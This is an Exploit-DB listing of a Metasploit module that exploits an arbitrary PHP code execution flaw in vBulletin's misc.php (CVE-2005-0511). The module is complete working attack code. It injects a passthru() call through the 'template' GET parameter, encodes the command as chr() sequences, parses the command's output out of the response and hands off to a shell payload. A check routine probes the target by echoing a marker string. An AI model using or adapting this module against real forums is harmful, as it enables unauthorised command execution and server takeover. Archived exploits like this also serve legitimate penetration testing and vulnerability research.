vBulletin - 'misc.php' Template Name Arbitrary Code Execution (Metasploit)

EDB-ID:

16896




Platform:

PHP

Date:

2010-07-25


##
# $Id: php_vbulletin_template.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
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##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	# XXX This module needs an overhaul
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'vBulletin misc.php Template Name Arbitrary Code Execution',
			'Description'    => %q{
					This module exploits an arbitrary PHP code execution flaw in
				the vBulletin web forum software. This vulnerability is only
				present when the "Add Template Name in HTML Comments" option
				is enabled. All versions of vBulletin prior to 3.0.7 are
				affected.
			},
			'Author'         =>
				[
					'str0ke <str0ke[at]milw0rm.com>',
					'cazz'
				],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9929 $',
			'References'     =>
				[
					[ 'CVE', '2005-0511' ],
					[ 'BID', '12622' ],
					[ 'OSVDB', '14047' ],
				],
			'Privileged'     => false,
			'Platform'       => ['unix', 'solaris'],
			'Payload'        =>
				{
					'Space'       => 512,
					'DisableNops' => true,
					'Keys'        => ['cmd', 'cmd_bash'],
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 25 2005'
			))

		register_options(
			[
				OptString.new('PATH', [ true,  "Path to misc.php", '/forum/misc.php']),
			], self.class)

		deregister_options(
			'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
		)
	end

	def go(command)
		wrapper = rand_text_alphanumeric(rand(128)+32)

		command = "echo #{wrapper};#{command};echo #{wrapper};"
		encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')

		res = send_request_cgi({
				'uri'      => datastore['PATH'],
				'method'   => 'GET',
				'vars_get' =>
					{
						'do' => "page",
						'template' => "{${passthru(#{encoded})}}"
					}
			}, 5)

		if (res and res.body)
			b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body)
			if b
				return b.captures[0]
			elsif datastore['HTTP::chunked'] == true
				b = /chunked Transfer-Encoding forbidden/.match(res.body)
				if b
					raise RuntimeError, 'Target PHP installation does not support chunked encoding.  Support for chunked encoded requests was added to PHP on 12/15/2005, try disabling HTTP::chunked and trying again.'
				end
			end
		end

		return nil
	end

	def check
		response = go("echo ownable")
		if (!response.nil? and response =~ /ownable/sm)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		response = go(payload.encoded)
		if response == nil
			print_error('exploit failed: no response')
		else
			if response.length == 0
				print_status('exploit successful')
			else
				print_status("Command returned #{response}")
			end
			handler
		end
	end
end